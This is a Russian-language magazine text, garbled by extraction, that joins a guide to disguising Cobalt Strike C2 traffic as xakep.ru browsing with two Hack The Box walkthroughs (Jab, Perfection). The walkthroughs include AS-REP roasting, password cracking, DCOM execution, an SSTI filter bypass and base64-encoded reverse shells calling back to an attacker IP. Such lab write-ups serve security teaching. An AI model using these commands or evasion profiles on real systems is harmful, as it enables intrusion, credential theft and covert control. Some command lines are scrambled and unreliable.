Да вай на прак тике убе дим ся, что рас смот ренные нами зап росы будут
переда вать ся в тра фике в опи сан ном фор мате.

Тран закция HTTP-GET по умол чанию

Тран закция HTTP-GET по умол чанию

Êîïèðóåì çàïðîñû ñ èíòåðåñóþùåãî ðåñóðñà
Для копиро вания зап росов с сай тов я исполь зую Burp Suite. Он пре дос тавля- 
ет воз можность локаль но на компь юте ре соз дать HTTPS-прок си, что поз- 
волит нам пос мотреть тра фик за SSL и поз накомить ся со струк турой сай та.

Для при мера давай соз дадим про филь, который будет мимик рировать
под прос мотр ста тей на xakep.ru.

HTTP-зап рос выг лядит сле дующим обра зом:

GET /2024/06/14/detecting-edr-bypass/ HTTP/1.1 
Host: xakep.ru 
Cookie: _ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; 
_ym_d=1718546666; _ym_isad=2; _ym_visorc=w; enPop_sessionId=720a32b1-
2be9-11ef-ba22-4a1c703d3d35; _ga_BR3RNXPV1V=GS1.1.1718559957.2.1.
1718560215.60.0.0 
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24" 
Sec-Ch-Ua-Mobile: ?0 
Sec-Ch-Ua-Platform: "Linux" 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;
v=b3;q=0.7 
Sec-Fetch-Site: same-origin 
Sec-Fetch-Mode: navigate 
Sec-Fetch-User: ?1 
Sec-Fetch-Dest: document 
Referer: https://xakep.ru/issues/xa/299/ 
Accept-Encoding: gzip, deflate, br 
Accept-Language: en-US,en;q=0.9 
Priority: u=0, i 
Connection: keep-alive 

Îïèñàíèå òðàíçàêöèè HTTP-GET
Для написа ния кон фига для тран закции HTTP-GET сос тавим его тело и будем
напол нять.

http-get {
   set uri "";

   client {
       metadata {
           print;
       }
   }
   server {
       output {
           print;
       }
   }
}

Па раметр  будет содер жать нес коль ко путей к стать ям:uri

set uri "/2024/06/14/detecting-edr-bypass/ /2024/06/14/
youtube-server-side-ads/ /2024/06/14/bifrost-valhall-0day/";

Пу ти к стать ям из Burp

Опи шем струк туру кли ента.

client {
   header "Referer" "https://xakep.ru/issues/xa/299/";
   header "User-Agent" "User-Agent: Mozilla/5.0 (Windows NT 10.0; 
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.
60 Safari/537.36"

   metadata {
       base64;
       prepend "_ym_visorc=w; enPop_sessionId=";
       header "Cookie";
   }
}

Опи шем ответ сер вера. На рисун ке ниже видим, как ответ выг лядит в Burp.

От вет сер вера в Burp Suite

До бавим в про филь HTTP-заголов ки, ана логич ные отве ту сер вера. Спря чем
дан ные, которые сер вер отправ ляет маяку, для это го исполь зуем кодиро- 
вание Base64 и добав ление строк в начале и кон це дан ных. Для это го вос- 
поль зуем ся клю чевы ми сло вами ,  и .base64 prepend append

server {
   header "SERVER" "QRATOR";
   header "Content-Type" "text/html; charset=UTF-8";
   header "Connection" "keep-alive";
   header "Keep-Alive" "timeout=15";
   header "X-Powered-By" "PHP/7.4.32";
   header "Content-Length" "144207";

   output {
       base64;
       prepend "<!DOCTYPE html><html lang='ru-RU' prefix='og: 
http://ogp.me/ns# article: http://ogp.me/ns/rticle# profile: http://
ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><meta 
charset='UTF-8' /><meta name='viewport' content='width=device-width, 
initial-scale=1, maximum-scale=1, user-scalable=0' /><link 
rel='profile' href='http://gmpg.org/xfn/11' /><link rel='pingback' 
href='https://xakep.ru/xmlrpc.php' /><meta 
name='mailru-verification' content='19264888db6819ce' />";
       append "<title>Детект на связи. Учимся обнаруживать следы 
атак на EDR — Хакер</title><meta name='robots' 
content='max-image-preview:large' /><link rel='dns-prefetch' href='//
www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.
com' />";
       print;
   }
}

Опи сание тран закции HTTP-GET будет выг лядеть так:

   http-get {

       set uri "/2024/06/14/detecting-edr-bypass/ /2024/06/14/
youtube-server-side-ads/ /2024/06/14/bifrost-valhall-0day/";

       client {
           header "Referer" "https://xakep.ru/issues/xa/299/";
           header "User-Agent" "User-Agent: Mozilla/5.0 (Windows NT 
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.
0.6422.60 Safari/537.36"

           metadata {
               base64;
               prepend "_ym_visorc=w; enPop_sessionId=";
               header "Cookie";
           }
       }

       server {
           header "SERVER" "QRATOR";
           header "Content-Type" "text/html; charset=UTF-8";
           header "Connection" "keep-alive";
           header "Keep-Alive" "timeout=15";
           header "X-Powered-By" "PHP/7.4.32";
           header "Content-Length" "144207";

           output {
               base64;
               prepend "<!DOCTYPE html><html lang='ru-RU' 
prefix='og: http://ogp.me/ns# article: http://ogp.me/ns/rticle# 
profile: http://ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><
meta charset='UTF-8' /><meta name='viewport' 
content='width=device-width, initial-scale=1, maximum-scale=1, 
user-scalable=0' /><link rel='profile' href='http://gmpg.org/xfn/
11' /><link rel='pingback' href='https://xakep.ru/xmlrpc.php' /><
meta name='mailru-verification' content='19264888db6819ce' />";
               append "<meta name='robots' 
content='max-image-preview:large' /><link rel='dns-prefetch' href='//
www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.
com' />";
               print;
           }
       }
   }

Îïèñàíèå òðàíçàêöèè HTTP-POST
Сно ва берем шаб лон тран закции и напол няем.

http-post {
   set uri "";

   client {
       header "" "";
       parameter "" "";

       id {
           print
       }

       output {
           print;
       }
   }

   server {

       output {
           print;
       }
   }
}

Да вай пере опре делим зап рос  на :HTTP-POST HTTP-GET

set verb "GET"; 

Ука жем URI:

set uri "/pentest"; 

За пол ним информа цию о кли енте.

   client {
       header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; 
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 
Safari/537.36"
       header "Accept" "Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
application/signed-exchange;v=b3;q=0.7";

       id {
           base64;
           prepend "_ga=GA1.1.1915749425.1718546663; 
_ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=";
           header "Cookie";
       }

       output {
           base64;
           prepend "Windows-Id=";
           header "Sec-Ch-Ua-Platform";
       }
   }

И опи шем ответ сер вера.

   server {
       header "Server" "QRATOR";
       header "Content-Type" "text/html; charset=UTF-8";
       header "Connection" "keep-alive";
       header "X-Powered-By" "PHP/7.4.32";

       output {
           print;
       }
   }

В ито ге опи сание тран закции будет выг лядеть так:

http-post {
   set verb "POST";
   set uri "/pentest";

   client {
       header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; 
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 
Safari/537.36"
       header "Accept" "Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
application/signed-exchange;v=b3;q=0.7";

       id {
           base64;
           prepend "_ga=GA1.1.1915749425.1718546663; 
_ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=";
           header "Cookie";
       }

       output {
           base64;
           prepend "Windows-Id=";
           header "Sec-Ch-Ua-Platform";
       }
   }

   server {
       header "Server" "QRATOR";
       header "Content-Type" "text/html; charset=UTF-8";
       header "Connection" "keep-alive";
       header "X-Powered-By" "PHP/7.4.32";

       output {
           print;
       }
   }
}

Нас тало вре мя про верить работу нашего кон фига. Вос поль зуем ся c2lint.
Тран закция HTTP-GET выг лядит так:

http-get 
--- 
GET /2024/06/14/bifrost-valhall-0day/ HTTP/1.1 
Referer: https://xakep.ru/issues/xa/299 
User-Agent: User-Agent                                Cookie: _ym_
visorc=w; enPop_sessionId=Y+Rmu3X5xJcpc+jlkbDRpQ==
HTTP/1.1 200 OK                                       SERVER: 
QRATOR                                        Content-Type: text/
html; charset=UTF-8                Connection: keep-
alive                                Keep-Alive: 
timeout=15                                X-Powered-By: PHP/7.4.
32                              Content-Length: 717 
<!DOCTYPE html><html lang='ru-RU' prefix='og: http://ogp.me/ns# 
article: http://ogp.me/ns/rticle# profile: http://ogp.me/ns/profile# 
fb: http://ogp.me/ns/fb#'><head><meta charset='UTF-8' /><meta 
name='viewport' content='width=device-width, initial-scale=1, 
maximum-scale=1, user-scalable=0' /><link rel='profile' href='http://
gmpg.org/xfn/11' /><link rel='pingback' href='https://xakep.ru/
xmlrpc.php' /><meta name='mailru-verification' 
content='19264888db6819ce' />
430cMgRMaT8gTPGgDNzPAfnZyiGeXXJPkUEOZQ+FLb2+ALzcJUkpSAUBO9VjwRvdfbwqL
i128SPvBKEF9F9jIA==<
meta name='robots' content='max-image-preview:large' /><link 
rel='dns-prefetch' href='//www.google.com' /><link rel='dns-
prefetch' href='//fonts.googleapis.com' /> 

А вот тран закция HTTP-POST:

http-post 
--- 
GET /pentest HTTP/1.
1                                                                     
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/

537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.
36                    Accept: 
Accept                                        Cookie: _ga=GA1.1.
1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; 
enPop_sessionId=MzE5NDk= 
Sec-Ch-Ua-Platform: Windows-Id=TwwSfNFjLX1zyqCQ7S75pw== 
HTTP/1.1 200 OK 
Server: QRATOR                                        Content-Type: 
text/html; charset=UTF-8                Connection: keep-
alive                                X-Powered-By: PHP/7.4.
32                             Content-Length: 0 

Об рати вни мание, что в тран закции HTTP-POST исполь зует ся зап рос 
.

HTTP-
GET

Пос мотрим, как это выг лядит в тра фике.

Тра фик меж ду Team Server и маяком с новым про филем, HTTP-GET

Тра фик меж ду Team Server и маяком с новым про филем, HTTP-POST

В тра фике нас выда ет толь ко HTTP-заголо вок , который не похож

на адрес xakep.ru. При пен тесте или ред тимин ге опе ратор Cobalt Strike обыч- 
но выбира ет какой-нибудь ресурс, который могут час то смот реть сот рудни ки
тес тиру емой орга низа ции и который не вызовет подоз рений.

Host

WWW

Пол ный шаб лон про филя на GitHub

ÂÛÂÎÄÛ

При исполь зовании C2-фрей мвор ков важ но понимать, как про исхо дит вза- 
имо дей ствие меж ду маяком и сер вером управле ния. Исполь зование дефол- 
тных нас тро ек или парамет ров с GitHub может выдать зло умыш ленни ка
или пен тесте ра, тог да как сос тавле ние сво их про филей неп лохо помога ет
скрыть при сутс твие.

https://github.com/Cobalt-Strike/Malleable-C2-Profiles/blob/master/normal/hostprofile_example.profile
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ВЗЛОМ

В этом рай тапе нам пред сто ит
получить 2,5 тысячи поль зовате лей сер вера
XMPP и валиди ровать их в Active Directory.
Затем мы най дем учет ные дан ные
и получим сес сию на сер вере, исполь зуя
механизм DCOM. Повысить при виле гии
нам поможет вре донос ный пла гин для сер- 
вера Openre.

На ша цель — получе ние прав супер поль зовате ля на машине Jab с учеб ной
пло щад ки . Уро вень слож ности — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.4    jab.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел мно го откры тых пор тов:
53 — DNS;•
88 — Kerberos;•
135 — Microsoft RPC;•
139 — NetBIOS, NetLogon;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5222, 5223, 5262, 5263, 5269 — сер веры Jabber;•
5270, 7443 — XMPP;•
9389 — AD DS.•

Раз ведка на SMB ничего не дала, поэто му поп робу ем най ти что-нибудь
на сер вере Jabber.

ÒÎ×ÊÀ ÂÕÎÄÀ

Для под клю чения к сер веру Jabber пот ребу ется какой-нибудь кли ент, нап- 
ример .Pidgin

Ус танав лива ем:

apt sudo install pidgin 

При ветс твие Pidgin

Так как у нас нет никаких учет ных дан ных, соз дадим свою учет ную запись.

Соз дание учет ной записи

Соз дание учет ной записи (про дол жение)

Пос ле чего с соз данной учет ной записью регис три руем ся на сер вере.

Ре гис тра ция кли ента

При при соеди нении к чату находим еще одно домен ное имя.

При соеди нение к чату

До бавим его в файл ./etc/hosts

10.10.11.4 jab.htb conference.jab.htb 

Так же мож но получить спи сок дос тупных ком нат.

Спи сок ком нат

Ког да все готово, мож но поис кать поль зовате лей. Для это го нуж но перей ти
в меню «Учет ные записи → Поль зователь → Искать поль зовате лей →

». В поле Search ука зыва ем звез дочку, что бы искать любые

име на.

search.jab.htb

По иск поль зовате лей

Спи сок най ден ных поль зовате лей

Спи сок ока зал ся нам ного боль ше, чем я ожи дал, поэто му нуж но най ти спо- 
соб сох ранить свы ше 2,5 тысячи поль зовате лей в файл.

ÒÎ×ÊÀ ÎÏÎÐÛ

Зак рыва ем Pidgin и запус каем его сно ва, но на этот раз в режиме отладки,
с сох ранени ем логов в файл:

 pidgin -d > log.txt 

Пов торя ем все дей ствия для получе ния спис ка поль зовате лей и про веря ем
файл.

Со дер жимое фай ла log.txt

Те перь из фай ла  нуж но вытащить име на поль зовате лей и сох ранить

в дру гой файл.

log.txt

      
1 |  |  
grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' log.txt | cut -d '@' -f

sort uniq > users.txt 

Ког да все готово, мож но переб рать этих получен ных поль зовате лей через
. Так мы убеж даем ся в том, что поль зовате ли реаль но сущес тву ют

в домене.

Kerbrute

kerbrute_linux_amd64 userenum -d jab.htb --dc 10.10.11.4 -t 128 ./
users.txt 

Ре зуль тат перебо ра

Поч ти все поль зовате ли из спис ка при сутс тву ют в домене. Так как у нас нет
никаких учет ных дан ных, поп робу ем про вес ти ата ку AS-REP Roasting. Ее
смысл в том, что мы посыла ем на сер вер аутен тифика ции ано ним ный зап рос
для пре дос тавле ния опре делен ному поль зовате лю дос тупа к какой-либо
услу ге. На что сер вер выда ет один из трех отве тов:

пре дос тавля ет билет, из которо го мы возь мем хеш;•
от веча ет, что у дан ного поль зовате ля не выс тавлен флаг

;
•
UF_DONT_REQUIRE_PREAUTH

го ворит, что такого поль зовате ля нет в базе Kerberos.•

Вы пол нить мож но при помощи скрип та .impacket-GetNPUsers

GetNPUsers.py jab.htb/ -usersfile users.txt 

Ре зуль тат про веде ния ата ки

Та ким обра зом, в домене есть поль зователь, для которо го не тре бует ся
пред варитель ная аутен тифика ция Kerberos. Из справ ки узна ём, что для под- 
бора пароля в  тре бует ся режим 18200 (параметр ).hashcat -m

 |  11 hashcat --example grep krb5asrep -B

Справ ка hashcat

hashcat -m 18200 hashes.txt rockyou.txt 

Ре зуль тат перебо ра пароля

По лучив пароль, про веря ем его валид ность.

   5 nxc smb 10.10.11.4 -u jmontgomery -p 'Midnight_121' --smb-timeout

Ре зуль тат про вер ки пароля

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.pidgin.im/
https://github.com/ropnop/kerbrute


HTB JAB
ПРИМЕНЯЕМ AS-REP ROASTING

ПРИ АТАКЕ НА WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Боль ше ничего инте рес ного не находим, поэто му поищем мис конфи ги, то
есть уяз вимые кон фигура ции. В этом может помочь . Эта тул за

ска ниру ет LDAP и исполь зует гра фы для выяв ления скры тых и час то неп- 
редна мерен ных вза имос вязей в сре де Active Directory или Azure. Это помога- 
ет лег ко иден тифици ровать очень слож ные пути ата ки, которые в про тив ном
слу чае было бы невоз можно быс тро обна ружить. Для работы с дан ными нам
допол нитель но нуж но уста новить СУБД Neo4j. Или мож но прос то запус тить
ее в Docker.

BloodHound

 docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/_S3cr3T_ neo4j 

Для ска ниро вания из Linux будем исполь зовать рас ширение для .

Но для это го необ ходимо, что бы FQDN-имя кон трол лера домена было
записа но в фай ле .

NetExec

/etc/hosts

10.10.11.4 jab.htb conference.jab.htb DC01.jab.htb 

А теперь исполь зуем NetExec с парамет ром .--bloodhound

  nxc ldap 10.10.11.4 -u jmontgomery -p 'Midnight_121' -ns 10.10.11.4 
--bloodhound

Сбор дан ных BloodHound

Но и тут ничего инте рес ного. Одна ко есть сер вис, куда мы еще не ходили
от име ни ском про мети рован ного поль зовате ля, — это сер вер XMPP.

Ок но авто риза ции XMPP

Про веря ем дос тупные ком наты и находим новую — .pentest2003

Спи сок ком нат

За ходим в ком нату и прос матри ваем исто рию чата. Там находим сооб щение
с резуль татами перебо ра хеша с помощью hashcat.

Со обще ния в чате

За бира ем логин и пароль и про веря ем учет ные дан ные в домене.

  
 3 

nxc smb 10.10.11.4 -u svc_openfire -p '!@#$%^&*(1qazxsw'
--smb-timeout

Про вер ка учет ных дан ных

Так у нас появил ся новый поль зователь, помеча ем его как  и перес тра- 

иваем граф. Ока зыва ется, поль зователь сос тоит в груп пе 

.

Owned
DISTRIBUTED COM 

USERS

Граф BloodHound

Та ким обра зом, наш юзер может исполь зовать механизм DCOM. Пос мотрим,
как обсто ит дело с выпол нени ем команд. Так как у нас нет воз можнос ти
читать фай лы с ресур са SMB, резуль тат выпол нения коман ды мы получить
не смо жем. Для тес та запус тим веб-сер вер Python на локаль ной машине
и через скрипт  из набора  выпол ним зап рос с уда лен- 
ного хос та при помощи curl.

dcomexec Impacket

 
dcomexec.py  -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'
@10.10.11.4 'curl 10.10.16.143/test_rce' -silentcommand

Вы пол нение коман ды через DCOM

Ло ги веб-сер вера

Зап рос при шел, а зна чит, коман да выпол нена. На сай те 
 сге нери руем реверс-шелл PowerShell #3 (Base64).

Reverse Shell
Generator

Reverse Shell Generator

За тем на локаль ной машине запус тим лис тенер:

rlwrap nc -nlvp 4321 

И выпол ним реверс-шелл через dcomexec.

 
dcomexec.py  -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'
@10.10.11.4 'powershell -r JAB.....' -silentcommand

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

В выводе скрип та мно го все го, поэто му прой дем ся по наибо лее мно гообе- 
щающим пун ктам.

В спис ке уста нов ленно го прог рам мно го обес печения при сутс тву ет сер- 
вер Openre.

Спи сок уста нов ленно го ПО

Сре ди прос лушива емых пор тов отме тим 9000 и 9001, что типич но
для Openre.

Прос лушива емые пор ты

Так как порт дос тупен толь ко с локаль ного хос та, необ ходимо тун нелиро вать
тра фик. Для это го будем исполь зовать ути литу . На локаль ном хос те

запус тим сер вер, ожи дающий под клю чения (параметр )
на порт 8888 (параметр ):

chisel

--reverse
--port

./chisel.bin server --port 8888 --reverse

Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер- 
вера и порт для под клю чения, а так же нас трой ку тун нелиро вания: с локаль- 
ного пор та 9090 на порт 9090 хос та 127.0.0.1.

chisel.exe client 10.10.16.143:8888 R:9090:127.0.0.1:9090 

В логах сер вера дол жны уви деть сооб щение о соз дании сес сии.

Ло ги chisel server

Ког да тун нель готов, мож но прос мотреть сайт через порт 9090 сво его
локаль ного хос та.

Фор ма авто риза ции Openre

Для это го сер виса есть недав ние CVE и даже опуб ликован ный на GitHub 
 для обхо да аутен тифика ции и даль нейше го получе ния RCE через заг- 

рузку пла гина.

экс- 
пло ит

По иск экс пло итов в Google

Об ход аутен тифика ции не работа ет, одна ко получи лось авто ризо вать ся
под учет ной записью .svc_openfire

Глав ная стра ница Openre

Поп робу ем получить RCE через заг рузку пла гина из того же репози тория.
Для это го перехо дим на стра ницу Plugins и заг ружа ем пла гин.

Стра ница Plugins

Пос ле заг рузки пла гина уви дим опи сание, что пароль — 123.

Стра ница Plugins

Те перь через меню Server перехо дим к Server Settings → Management Tool.

Стра ница Management Tool

Нас встре чает фор ма вво да пароля. Вво дим  и получа ем дос туп к панели

выпол нения команд.

123

Ре зуль тат выпол нения коман ды whoami

Так как мы работа ем с мак сималь ными при виле гиями на хос те, мож но про- 
читать флаг.

Флаг рута

Ма шина зах вачена!

https://github.com/BloodHoundAD/BloodHound
https://github.com/Pennyw0rth/NetExec
https://www.revshells.com/
https://github.com/carlospolop/PEASS-ng
https://github.com/jpillora/chisel
https://github.com/miko550/CVE-2023-32315
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ВЗЛОМ

Се год ня я про демонс три рую, как обой ти
филь тра цию поль зователь ско го вво да
при инъ екции в шаб лон (SSTI) и в резуль- 
тате получить воз можность уда лен но
выпол нять код на сер вере. При повыше нии
при виле гий исполь зуем воз можнос ти груп- 
пы sudo, для чего нам понадо бит ся най ти
учет ные дан ные.

На ша цель — получе ние прав супер поль зовате ля на машине Perfection
с учеб ной пло щад ки . Уро вень задания — лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.253    perfection.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx.•

Так как с SSH без учет ных дан ных ничего сде лать нель зя, перехо дим к прос- 
мотру и тес тирова нию сай та на веб-сер вере.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те находим помет ку Powered by, из которой час то мож но узнать, какой
исполь зует ся дви жок. В нашем слу чае это WEBrick 1.7.0.

Powered by

На стра нице  находим нес коль ко полей вво да и веб-фор му./weighted-grade

Со дер жимое стра ницы weighted-grade

На стра нице ска зано, что нуж но запол нить фор му, при этом мы можем
исполь зовать зна чения N/A для Category и ноль для Grade и Weight.

За пол ненная веб-фор ма

Пос ле отправ ки дан ных на сер вер все вве ден ные зна чения отоб ража ются
на стра нице.

Со дер жимое стра ницы

Ес ли вве ден ные поль зовате лем дан ные отоб ража ются на стра нице, зна чит,
сто ит поис кать воз можность про экс плу ати ровать это, зас лав дан ные,
которые зас тавят сер вер выпол нить наши коман ды. Одна из таких воз- 
можнос тей — инъ екция команд в шаб лон.

Без тру да узна ём, что WEBrick написан на Ruby, и про буем отпра вить пей- 
лоад, исполь зующий осо бен ности это го язы ка: .<%= 7*7 %>

Веб-фор ма с дан ными

Со дер жимое стра ницы

В выводе вмес то вве ден ной нами стро ки или резуль тата вычис ления получа- 
ем сооб щение о том, что заб локиро ван вре донос ный ввод. Зна чит, исполь- 
зует ся филь тр, который сиг нализи рует прог рамме, что поль зователь ввел
что-то потен циаль но опас ное.

ÒÎ×ÊÀ ÎÏÎÐÛ

Поп робу ем переб рать раз ные сим волы и пос ледова тель нос ти, это даст нам
понима ние того, на какие из них будет сра баты вать филь тр, а какие помогут
его обой ти. Начина ем со всех воз можных сим волов в кодиров ке URLEncode.

Пе реби рать будем с помощью очень удоб ного Burp Intruder. Для это го
в Burp History най дем зап рос с отправ кой дан ных на сер вер и добавим его
в Burp Intruder ком бинаци ей кла виш Ctrl-I. При помощи Ctrl-Shift-I перехо дим
к Burp Intruder.

Burp Intruder — вклад ка Positions

В качес тве сло варя для перебо ра исполь зуем  из набора SecLists.URI-hex

Burp Intruder — вклад ка Payloads

За пус каем ска ниро вание, оно закон чится слиш ком быс тро. Сор тиру ем
резуль тат по дли не отве та и видим нес коль ко зап росов, в ответ на которые
мы получи ли код 500. А еще один зап рос име ет код 200 и не тот же, что у дру- 
гих, раз мер. При этом мы смог ли обой ти филь тр, и сер вер вер нул резуль тат
выпол нения наг рузки.

Ре зуль тат перебо ра

Со чета ниями кла виш Ctrl-R и Ctrl-Shift-R перено сим зап рос в Burp Repeater
и меня ем наг рузку на ту, что выпол нит какую-нибудь коман ду. Нап ример, .id

<%= IO.popen('id').readlines() %>

Пе ред отправ кой зап роса на сер вер необ ходимо закоди ровать наг рузку
в фор мат URLEncode. Это мож но сде лать сра зу в Burp ком бинаци ей кла виш
Ctrl-U.

Ре зуль тат выпол нения зап роса

Ко ман да выпол нена, а зна чит, есть воз можность уда лен ного выпол нения
кода (RCE). Закоди руем реверс-шелл в фор мат Base64:

   | echo -en 'bash -i >& /dev/tcp/10.10.16.143/4321 0>&1' base64

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

За тем запус каем лис тенер:

pwncat-cs -lp 4321 

И теперь вмес то коман ды  отправ ляем вот такой однос троч ник:id

echo YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNi4xNDMvNDMyMSAwPiYx 
|base64 -d |bash 

Это кон вей ер команд, который декоди рует реверс-шелл и выпол няет его
в коман дной обо лоч ке.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы получи ли дос туп от име ни поль зовате ля, и теперь нам нуж но соб рать
информа цию, которая поможет в даль нейшем прод вижении. Я буду исполь- 
зовать для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му отбе рем толь ко
зна чимую.

Те кущий поль зователь сос тоит в груп пе , а зна чит, может исполь- 
зовать  для выпол нения команд в при виле гиро ван ном кон тек сте. Прав да,

есть одно но: нам нуж но знать пароль поль зовате ля, а его у нас нет.

sudo
sudo

Ба зовая информа ция

В сис теме есть дос тупный для чте ния файл базы дан ных
.pupilpath_credentials.db

Фай лы credentials

В домаш нем катало ге поль зовате ля — мно жес тво фай лов, в том чис ле
и файл исто рии SQLite.

Спи сок фай лов root в домаш них катало гах поль зовате ля

При сутс тву ют на хос те и сооб щения в катало ге . Здесь час то мож- 

но най ти важ ную информа цию.

/var/mail

Фай лы груп пы поль зовате ля

Про чита ем сооб щения в фай ле ./var/mail/susan

cat /var/mail/susan 

Со дер жимое фай ла /var/mail/susan

В сооб щении говорит ся о перехо де на сис тему Jupiter Grades из-за утеч ки
PupilPath и обсужда ется воп рос с учет ными дан ными для сис темы. Так же рас-
кры вает ся фор мат паролей по умол чанию:

{имя пользователя}_{имя пользователя наоборот}_{случайное 
сгенерированное число от 1 до 1 000 000 000} 

